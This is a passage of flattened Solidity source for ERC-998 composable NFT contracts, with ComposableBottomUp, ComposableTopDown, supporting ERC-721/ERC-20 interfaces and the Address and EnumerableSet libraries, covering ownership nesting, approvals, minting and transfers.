function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } pragma solidity ^0.8.0; interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } pragma solidity ^0.8.0; interface IERC998ERC721BottomUp { event TransferToParent( address indexed _toContract, uint256 indexed _toTokenId, uint256 _tokenId ); event TransferFromParent( address indexed _fromContract, uint256 indexed _fromTokenId, uint256 _tokenId ); function rootOwnerOf(uint256 _tokenId) external view returns (bytes32 rootOwner); function tokenOwnerOf(uint256 _tokenId) external view returns ( bytes32 tokenOwner, uint256 parentTokenId, bool isParent ); function transferToParent( address _from, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes memory _data ) external; function transferFromParent( address _fromContract, uint256 _fromTokenId, address _to, uint256 _tokenId, bytes memory _data ) external; function transferAsChild( address _fromContract, uint256 _fromTokenId, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes memory _data ) external; } pragma solidity ^0.8.0; interface IERC998ERC721BottomUpEnumerable { function totalChildTokens(address _parentContract, uint256 _parentTokenId) external view returns (uint256); function childTokenByIndex( address _parentContract, uint256 _parentTokenId, uint256 _index ) external view returns (uint256); } pragma solidity ^0.8.0; contract ComposableBottomUp is ERC165, IERC721, IERC998ERC721BottomUp, IERC998ERC721BottomUpEnumerable { using SafeMath for uint256; struct TokenOwner { address tokenOwner; uint256 parentTokenId; } bytes32 constant ERC998_MAGIC_VALUE = 0x00000000000000000000000000000000000000000000000000000000cd740db5; mapping(uint256 => TokenOwner) internal tokenIdToTokenOwner; mapping(address => mapping(uint256 => address)) internal rootOwnerAndTokenIdToApprovedAddress; mapping(address => uint256) internal tokenOwnerToTokenCount; mapping(address => mapping(address => bool)) internal tokenOwnerToOperators; mapping(address => mapping(uint256 => uint256[])) private parentToChildTokenIds; mapping(uint256 => uint256) private tokenIdToChildTokenIdsIndex; bytes4 constant ERC721_RECEIVED = 0x150b7a02; function isContract(address _addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(_addr) } return size > 0; } function _tokenOwnerOf(uint256 _tokenId) internal view returns ( address tokenOwner, uint256 parentTokenId, bool isParent ) { tokenOwner = tokenIdToTokenOwner[_tokenId].tokenOwner; require( tokenOwner != address(0), "ComposableBottomUp: _tokenOwnerOf tokenOwner zero address" ); parentTokenId = tokenIdToTokenOwner[_tokenId].parentTokenId; if (parentTokenId > 0) { isParent = true; parentTokenId--; } else { isParent = false; } return (tokenOwner, parentTokenId, isParent); } function tokenOwnerOf(uint256 _tokenId) external view override returns ( bytes32 tokenOwner, uint256 parentTokenId, bool isParent ) { address tokenOwnerAddress = tokenIdToTokenOwner[_tokenId].tokenOwner; require(tokenOwnerAddress != address(0), "ComposableBottomUp: tokenOwnerOf tokenOwnerAddress zero address"); parentTokenId = tokenIdToTokenOwner[_tokenId].parentTokenId; if (parentTokenId > 0) { isParent = true; parentTokenId--; } else { isParent = false; } return ( (ERC998_MAGIC_VALUE << 224) | bytes32(uint256(uint160(tokenOwnerAddress))), parentTokenId, isParent ); } function rootOwnerOf(uint256 _tokenId) public view override returns (bytes32 rootOwner) { address rootOwnerAddress = tokenIdToTokenOwner[_tokenId].tokenOwner; require( rootOwnerAddress != address(0), "ComposableBottomUp: rootOwnerOf rootOwnerAddress zero address" ); uint256 parentTokenId = tokenIdToTokenOwner[_tokenId].parentTokenId; bool isParent = parentTokenId > 0; parentTokenId--; bytes memory callData; bytes memory data; bool callSuccess; if ((rootOwnerAddress == address(this))) { do { if (isParent == false) { return (ERC998_MAGIC_VALUE << 224) | bytes32(uint256(uint160(rootOwnerAddress))); } else { (rootOwnerAddress, parentTokenId, isParent) = _tokenOwnerOf( parentTokenId ); } } while (rootOwnerAddress == address(this)); _tokenId = parentTokenId; } if (isParent == false) { callData = abi.encodeWithSelector( 0xed81cdda, address(this), _tokenId ); (callSuccess, data) = rootOwnerAddress.staticcall(callData); if (callSuccess) { assembly { rootOwner := mload(add(data, 0x20)) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { return (ERC998_MAGIC_VALUE << 224) | bytes32(uint256(uint160(rootOwnerAddress))); } } else { callData = abi.encodeWithSelector(0x43a61a8e, parentTokenId); (callSuccess, data) = rootOwnerAddress.staticcall(callData); if (callSuccess) { assembly { rootOwner := mload(add(data, 0x20)) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { address childContract = rootOwnerAddress; callData = abi.encodeWithSelector(0x6352211e, parentTokenId); (callSuccess, data) = rootOwnerAddress.staticcall(callData); if (callSuccess) { assembly { rootOwnerAddress := mload(add(data, 0x20)) } } require(callSuccess, "Call to ownerOf failed"); callData = abi.encodeWithSelector( 0xed81cdda, childContract, parentTokenId ); (callSuccess, data) = rootOwnerAddress.staticcall(callData); if (callSuccess) { assembly { rootOwner := mload(add(data, 0x20)) } } if ( callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE ) { return rootOwner; } else { return (ERC998_MAGIC_VALUE << 224) | bytes32(uint256(uint160(rootOwnerAddress))); } } } } function ownerOf(uint256 _tokenId) external view override returns (address) { address tokenOwner = tokenIdToTokenOwner[_tokenId].tokenOwner; require( tokenOwner != address(0), "ComposableBottomUp: ownerOf tokenOwner zero address" ); return tokenOwner; } function balanceOf(address _tokenOwner) external view override returns (uint256) { require( _tokenOwner != address(0), "ComposableBottomUp: balanceOf _tokenOwner zero address" ); return tokenOwnerToTokenCount[_tokenOwner]; } function approve(address _approved, uint256 _tokenId) external override { address tokenOwner = tokenIdToTokenOwner[_tokenId].tokenOwner; require(tokenOwner != address(0), "ComposableBottomUp: approve tokenOwner zero address"); address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender], "ComposableBottomUp: approve msg.sender not eligible" ); rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] = _approved; emit Approval(rootOwner, _approved, _tokenId); } function getApproved(uint256 _tokenId) external view override returns (address) { address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); return rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; } function setApprovalForAll(address _operator, bool _approved) external override { require(_operator != address(0), "ComposableBottomUp: setApprovalForAll _operator zero address"); tokenOwnerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function isApprovedForAll(address _owner, address _operator) external view override returns (bool) { require(_owner != address(0), "ComposableBottomUp: isApprovedForAll _owner zero address"); require(_operator != address(0), "ComposableBottomUp: isApprovedForAll _operator zero address"); return tokenOwnerToOperators[_owner][_operator]; } function removeChild( address _fromContract, uint256 _fromTokenId, uint256 _tokenId ) internal { uint256 childTokenIndex = tokenIdToChildTokenIdsIndex[_tokenId]; uint256 lastChildTokenIndex = parentToChildTokenIds[_fromContract][_fromTokenId].length - 1; uint256 lastChildTokenId = parentToChildTokenIds[_fromContract][_fromTokenId][ lastChildTokenIndex ]; if (_tokenId != lastChildTokenId) { parentToChildTokenIds[_fromContract][_fromTokenId][ childTokenIndex ] = lastChildTokenId; tokenIdToChildTokenIdsIndex[lastChildTokenId] = childTokenIndex; } parentToChildTokenIds[_fromContract][_fromTokenId].pop(); } function authenticateAndClearApproval(uint256 _tokenId) private { address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || approvedAddress == msg.sender, "ComposableBottomUp: authenticateAndClearApproval msg.sender not eligible" ); if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; emit Approval(rootOwner, address(0), _tokenId); } } function transferFromParent( address _fromContract, uint256 _fromTokenId, address _to, uint256 _tokenId, bytes memory _data ) external override { require(tokenIdToTokenOwner[_tokenId].tokenOwner == _fromContract, "ComposableBottomUp: transferFromParent tokenOwner != _fromContract"); require(_to != address(0), "ComposableBottomUp: transferFromParent _to zero address"); uint256 parentTokenId = tokenIdToTokenOwner[_tokenId].parentTokenId; require(parentTokenId != 0, "ComposableBottomUp: transferFromParent token does not have a parent token."); require(parentTokenId - 1 == _fromTokenId, "ComposableBottomUp: transferFromParent _fromTokenId not matching parentTokenId"); authenticateAndClearApproval(_tokenId); if (_fromContract != _to) { assert(tokenOwnerToTokenCount[_fromContract] > 0); tokenOwnerToTokenCount[_fromContract]--; tokenOwnerToTokenCount[_to]++; } tokenIdToTokenOwner[_tokenId].tokenOwner = _to; tokenIdToTokenOwner[_tokenId].parentTokenId = 0; removeChild(_fromContract, _fromTokenId, _tokenId); delete tokenIdToChildTokenIdsIndex[_tokenId]; if (isContract(_to)) { bytes4 retval = IERC721Receiver(_to).onERC721Received( msg.sender, _fromContract, _tokenId, _data ); require(retval == ERC721_RECEIVED, "ComposableBottomUp: transferFromParent onERC721Received invalid value"); } emit Transfer(_fromContract, _to, _tokenId); emit TransferFromParent(_fromContract, _fromTokenId, _tokenId); } function transferToParent( address _from, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes memory _data ) external override { require(_from != address(0), "ComposableBottomUp: transferToParent _from zero address"); require(tokenIdToTokenOwner[_tokenId].tokenOwner == _from, "ComposableBottomUp: transferToParent tokenOwner != _from"); require(_toContract != address(0), "ComposableBottomUp: transferToParent _toContract zero address"); require( tokenIdToTokenOwner[_tokenId].parentTokenId == 0, "ComposableBottomUp: transferToParent Cannot transfer from address when owned by a token." ); address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; if (msg.sender != _from) { bytes memory callData = abi.encodeWithSelector(0xed81cdda, address(this), _tokenId); (bool callSuccess, bytes memory data) = _from.staticcall(callData); if (callSuccess == true) { bytes32 rootOwner; assembly { rootOwner := mload(add(data, 0x20)) } require( rootOwner >> 224 != ERC998_MAGIC_VALUE, "ComposableBottomUp: transferToParent Token is child of other top down composable" ); } require( tokenOwnerToOperators[_from][msg.sender] || approvedAddress == msg.sender, "ComposableBottomUp: transferToParent msg.sender is not eligible" ); } if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; emit Approval(_from, address(0), _tokenId); } if (_from != _toContract) { assert(tokenOwnerToTokenCount[_from] > 0); tokenOwnerToTokenCount[_from]--; tokenOwnerToTokenCount[_toContract]++; } TokenOwner memory parentToken = TokenOwner(_toContract, _toTokenId.add(1)); tokenIdToTokenOwner[_tokenId] = parentToken; uint256 index = parentToChildTokenIds[_toContract][_toTokenId].length; parentToChildTokenIds[_toContract][_toTokenId].push(_tokenId); tokenIdToChildTokenIdsIndex[_tokenId] = index; require( IERC721(_toContract).ownerOf(_toTokenId) != address(0), "ComposableBottomUp: transferToParent _toTokenId does not exist" ); emit Transfer(_from, _toContract, _tokenId); emit TransferToParent(_toContract, _toTokenId, _tokenId); } function transferAsChild( address _fromContract, uint256 _fromTokenId, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes memory _data ) external override { require(tokenIdToTokenOwner[_tokenId].tokenOwner == _fromContract, "ComposableBottomUp: transferAsChild tokenOwner != _fromContract"); require(_toContract != address(0), "ComposableBottomUp: transferAsChild _toContract zero address"); uint256 parentTokenId = tokenIdToTokenOwner[_tokenId].parentTokenId; require(parentTokenId > 0, "ComposableBottomUp: transferAsChild No parent token to transfer from."); require(parentTokenId - 1 == _fromTokenId, "ComposableBottomUp: transferAsChild parentTokenId != _fromTokenId"); address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || approvedAddress == msg.sender, "ComposableBottomUp: transferAsChild msg.sender not eligible" ); if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; emit Approval(rootOwner, address(0), _tokenId); } if (_fromContract != _toContract) { assert(tokenOwnerToTokenCount[_fromContract] > 0); tokenOwnerToTokenCount[_fromContract]--; tokenOwnerToTokenCount[_toContract]++; } TokenOwner memory parentToken = TokenOwner(_toContract, _toTokenId); tokenIdToTokenOwner[_tokenId] = parentToken; removeChild(_fromContract, _fromTokenId, _tokenId); uint256 index = parentToChildTokenIds[_toContract][_toTokenId].length; parentToChildTokenIds[_toContract][_toTokenId].push(_tokenId); tokenIdToChildTokenIdsIndex[_tokenId] = index; require( IERC721(_toContract).ownerOf(_toTokenId) != address(0), "ComposableBottomUp: transferAsChild _toTokenId does not exist" ); emit Transfer(_fromContract, _toContract, _tokenId); emit TransferFromParent(_fromContract, _fromTokenId, _tokenId); emit TransferToParent(_toContract, _toTokenId, _tokenId); } function _transferFrom( address _from, address _to, uint256 _tokenId ) private { require(_from != address(0), "ComposableBottomUp: _transferFrom _from zero address"); require(tokenIdToTokenOwner[_tokenId].tokenOwner == _from, "ComposableBottomUp: _transferFrom tokenOwner != _from"); require( tokenIdToTokenOwner[_tokenId].parentTokenId == 0, "ComposableBottomUp: _transferFrom Cannot transfer from address when owned by a token." ); require(_to != address(0), "ComposableBottomUp: _transferFrom _to zero address"); address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; if (msg.sender != _from) { bytes memory callData = abi.encodeWithSelector(0xed81cdda, address(this), _tokenId); (bool callSuccess, bytes memory data) = _from.staticcall(callData); if (callSuccess == true) { bytes32 rootOwner; if (callSuccess) { assembly { rootOwner := mload(add(data, 0x20)) } } require( rootOwner >> 224 != ERC998_MAGIC_VALUE, "ComposableBottomUp: _transferFrom Token is child of other top down composable" ); } require( tokenOwnerToOperators[_from][msg.sender] || approvedAddress == msg.sender, "ComposableBottomUp: _transferFrom msg.sender not eligible" ); } if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; emit Approval(_from, address(0), _tokenId); } if (_from != _to) { assert(tokenOwnerToTokenCount[_from] > 0); tokenOwnerToTokenCount[_from]--; tokenIdToTokenOwner[_tokenId].tokenOwner = _to; tokenOwnerToTokenCount[_to]++; } emit Transfer(_from, _to, _tokenId); } function transferFrom( address _from, address _to, uint256 _tokenId ) external override { _transferFrom(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external override { _transferFrom(_from, _to, _tokenId); if (isContract(_to)) { bytes4 retval = IERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, "" ); require(retval == ERC721_RECEIVED, "ComposableBottomUp: safeTransferFrom(3) onERC721Received invalid value"); } } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) external override { _transferFrom(_from, _to, _tokenId); if (isContract(_to)) { bytes4 retval = IERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data ); require(retval == ERC721_RECEIVED, "ComposableBottomUp: safeTransferFrom(4) onERC721Received invalid value"); } } function totalChildTokens(address _parentContract, uint256 _parentTokenId) external view override returns (uint256) { return parentToChildTokenIds[_parentContract][_parentTokenId].length; } function childTokenByIndex( address _parentContract, uint256 _parentTokenId, uint256 _index ) external view override returns (uint256) { require( parentToChildTokenIds[_parentContract][_parentTokenId].length > _index, "ComposableBottomUp: childTokenByIndex invalid _index" ); return parentToChildTokenIds[_parentContract][_parentTokenId][_index]; } } pragma solidity ^0.8.0; interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.8.0; library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = valueIndex; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct Bytes32Set { Set _inner; } function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.8.0; interface IERC20AndERC223 { function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function transfer(address to, uint256 value) external returns (bool success); function transfer( address to, uint256 value, bytes memory data ) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); } pragma solidity ^0.8.0; interface IERC998ERC20TopDown { event ReceivedERC20(address indexed _from, uint256 indexed _tokenId, address indexed _erc20Contract, uint256 _value); event TransferERC20(uint256 indexed _tokenId, address indexed _to, address indexed _erc20Contract, uint256 _value); function tokenFallback(address _from, uint256 _value, bytes memory _data) external; function balanceOfERC20(uint256 _tokenId, address _erc20Contract) external view returns (uint256); function transferERC20(uint256 _tokenId, address _to, address _erc20Contract, uint256 _value) external; function transferERC223(uint256 _tokenId, address _to, address _erc223Contract, uint256 _value, bytes memory _data) external; function getERC20(address _from, uint256 _tokenId, address _erc20Contract, uint256 _value) external; } pragma solidity ^0.8.0; interface IERC998ERC20TopDownEnumerable { function totalERC20Contracts(uint256 _tokenId) external view returns (uint256); function erc20ContractByIndex(uint256 _tokenId, uint256 _index) external view returns (address); } pragma solidity ^0.8.0; interface IERC998ERC721TopDown { event ReceivedChild( address indexed _from, uint256 indexed _tokenId, address indexed _childContract, uint256 _childTokenId ); event TransferChild( uint256 indexed tokenId, address indexed _to, address indexed _childContract, uint256 _childTokenId ); function rootOwnerOf(uint256 _tokenId) external view returns (bytes32 rootOwner); function rootOwnerOfChild(address _childContract, uint256 _childTokenId) external view returns (bytes32 rootOwner); function ownerOfChild(address _childContract, uint256 _childTokenId) external view returns (bytes32 parentTokenOwner, uint256 parentTokenId); function onERC721Received( address _operator, address _from, uint256 _childTokenId, bytes calldata _data ) external returns (bytes4); function transferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external; function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId ) external; function safeTransferChild( uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId, bytes memory _data ) external; function transferChildToParent( uint256 _fromTokenId, address _toContract, uint256 _toTokenId, address _childContract, uint256 _childTokenId, bytes memory _data ) external; function getChild( address _from, uint256 _tokenId, address _childContract, uint256 _childTokenId ) external; } pragma solidity ^0.8.0; interface IERC998ERC721TopDownEnumerable { function totalChildContracts(uint256 _tokenId) external view returns (uint256); function childContractByIndex(uint256 _tokenId, uint256 _index) external view returns (address childContract); function totalChildTokens(uint256 _tokenId, address _childContract) external view returns (uint256); function childTokenByIndex( uint256 _tokenId, address _childContract, uint256 _index ) external view returns (uint256 childTokenId); } pragma solidity ^0.8.0; contract ComposableTopDown is ERC165, IERC721, IERC998ERC721TopDown, IERC998ERC721TopDownEnumerable, IERC998ERC20TopDown, IERC998ERC20TopDownEnumerable, IERC721Metadata { using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableSet for EnumerableSet.AddressSet; bytes4 constant ERC998_MAGIC_VALUE = 0xcd740db5; bytes32 constant ERC998_MAGIC_VALUE_32 = 0xcd740db500000000000000000000000000000000000000000000000000000000; uint256 tokenCount = 0; mapping(uint256 => address) private tokenIdToTokenOwner; mapping(uint256 => uint256) private tokenIdToStateHash; mapping(address => mapping(uint256 => address)) private rootOwnerAndTokenIdToApprovedAddress; mapping(address => uint256) private tokenOwnerToTokenCount; mapping(address => mapping(address => bool)) private tokenOwnerToOperators; mapping(uint256 => string) private tokenURIs; string public override name; string public override symbol; constructor(string memory _name, string memory _symbol) { name = _name; symbol = _symbol; } function safeMint(address _to, string memory _tokenURI) external returns (uint256) { return _safeMint(_to, _tokenURI); } function safeMint(address _to) external returns (uint256) { return _safeMint(_to, ''); } function _safeMint(address _to, string memory _tokenURI) internal returns (uint256) { require(_to != address(0), "ComposableTopDown: _to zero address"); tokenCount++; uint256 tokenCount_ = tokenCount; tokenIdToTokenOwner[tokenCount_] = _to; tokenOwnerToTokenCount[_to]++; tokenIdToStateHash[tokenCount] = uint256(keccak256(abi.encodePacked(uint256(uint160(address(this))), tokenCount))); if (bytes(_tokenURI).length > 0) { tokenURIs[tokenCount_] = _tokenURI; } emit Transfer(address(0), _to, tokenCount_); require(_checkOnERC721Received(address(0), _to, tokenCount_, ""), "ComposableTopDown: transfer to non ERC721Receiver implementer"); return tokenCount_; } function tokenURI(uint256 tokenId) external override view returns (string memory) { require(tokenIdToTokenOwner[tokenId] != address(0), "ComposableTopDown: URI query for nonexistent token"); string memory _tokenURI = tokenURIs[tokenId]; require(bytes(_tokenURI).length > 0, "ComposableTopDown: URI is not set"); return _tokenURI; } bytes4 constant ERC721_RECEIVED_OLD = 0xf0b9e5ba; bytes4 constant ERC721_RECEIVED_NEW = 0x150b7a02; bytes4 constant ALLOWANCE = bytes4(keccak256("allowance(address,address)")); bytes4 constant APPROVE = bytes4(keccak256("approve(address,uint256)")); bytes4 constant ROOT_OWNER_OF_CHILD = bytes4(keccak256("rootOwnerOfChild(address,uint256)")); function rootOwnerOf(uint256 _tokenId) public view override returns (bytes32 rootOwner) { return rootOwnerOfChild(address(0), _tokenId); } function rootOwnerOfChild(address _childContract, uint256 _childTokenId) public view override returns (bytes32 rootOwner) { address rootOwnerAddress; if (_childContract != address(0)) { (rootOwnerAddress, _childTokenId) = _ownerOfChild( _childContract, _childTokenId ); } else { rootOwnerAddress = tokenIdToTokenOwner[_childTokenId]; require(rootOwnerAddress != address(0), "ComposableTopDown: ownerOf _tokenId zero address"); } while (rootOwnerAddress == address(this)) { (rootOwnerAddress, _childTokenId) = _ownerOfChild( rootOwnerAddress, _childTokenId ); } bytes memory callData = abi.encodeWithSelector( ROOT_OWNER_OF_CHILD, address(this), _childTokenId ); (bool callSuccess, bytes memory data) = rootOwnerAddress.staticcall(callData); if (callSuccess) { assembly { rootOwner := mload(add(data, 0x20)) } } if (callSuccess == true && rootOwner & 0xffffffff00000000000000000000000000000000000000000000000000000000 == ERC998_MAGIC_VALUE_32) { return rootOwner; } else { assembly { rootOwner := or(ERC998_MAGIC_VALUE_32, rootOwnerAddress) } } } function ownerOf(uint256 _tokenId) public view override returns (address tokenOwner) { tokenOwner = tokenIdToTokenOwner[_tokenId]; require( tokenOwner != address(0), "ComposableTopDown: ownerOf _tokenId zero address" ); return tokenOwner; } function balanceOf(address _tokenOwner) external view override returns (uint256) { require( _tokenOwner != address(0), "ComposableTopDown: balanceOf _tokenOwner zero address" ); return tokenOwnerToTokenCount[_tokenOwner]; } function approve(address _approved, uint256 _tokenId) external override { address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); require( rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender], "ComposableTopDown: approve msg.sender not owner" ); rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] = _approved; emit Approval(rootOwner, _approved, _tokenId); } function getApproved(uint256 _tokenId) public view override returns (address) { address rootOwner = address(uint160(uint256(rootOwnerOf(_tokenId)))); return rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; } function setApprovalForAll(address _operator, bool _approved) external override { require( _operator != address(0), "ComposableTopDown: setApprovalForAll _operator zero address" ); tokenOwnerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function isApprovedForAll(address _owner, address _operator) external view override returns (bool) { require( _owner != address(0), "ComposableTopDown: isApprovedForAll _owner zero address" ); require( _operator != address(0), "ComposableTopDown: isApprovedForAll _operator zero address" ); return tokenOwnerToOperators[_owner][_operator]; } function transferFrom( address _from, address _to, uint256 _tokenId ) public override { _transferFrom(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public override { _transferFrom(_from, _to, _tokenId); if (_to.isContract()) { bytes4 retval = IERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, "" ); require( retval == ERC721_RECEIVED_OLD || retval == ERC721_RECEIVED_NEW, "ComposableTopDown: safeTransferFrom(3) onERC721Received invalid return value" ); } } function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) public override { _transferFrom(_from, _to, _tokenId); if (_to.isContract()) { bytes4 retval = IERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data ); require( retval == ERC721_RECEIVED_OLD || retval == ERC721_RECEIVED_NEW, "ComposableTopDown: safeTransferFrom(4) onERC721Received invalid return value" ); rootOwnerOf(_tokenId); } } function _transferFrom( address _from, address _to, uint256 _tokenId ) private { require( _from != address(0), "ComposableTopDown: _transferFrom _from zero address" ); require( tokenIdToTokenOwner[_tokenId] == _from, "ComposableTopDown: _transferFrom _from not owner" ); require( _to != address(0), "ComposableTopDown: _transferFrom _to zero address" ); if (msg.sender != _from) { bytes memory callData = abi.encodeWithSelector( ROOT_OWNER_OF_CHILD, address(this), _tokenId ); (bool callSuccess, bytes memory data) = _from.staticcall(callData); if (callSuccess == true) { bytes32 rootOwner; assembly { rootOwner := mload(add(data, 0x20)) } require( rootOwner & 0xffffffff00000000000000000000000000000000000000000000000000000000 != ERC998_MAGIC_VALUE_32, "ComposableTopDown: _transferFrom token is child of other top down composable" ); } require( tokenOwnerToOperators[_from][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId] == msg.sender, "ComposableTopDown: _transferFrom msg.sender not approved" ); } if ( rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId] != address(0) ) { delete rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; emit Approval(_from, address(0), _tokenId); } if (_from != _to) { assert(tokenOwnerToTokenCount[_from] > 0); tokenOwnerToTokenCount[_from]--; tokenIdToTokenOwner[_tokenId] = _to; tokenOwnerToTokenCount[_to]++; } emit Transfer(_from, _to, _tokenId); } mapping(uint256 => EnumerableSet.AddressSet) private childContracts; 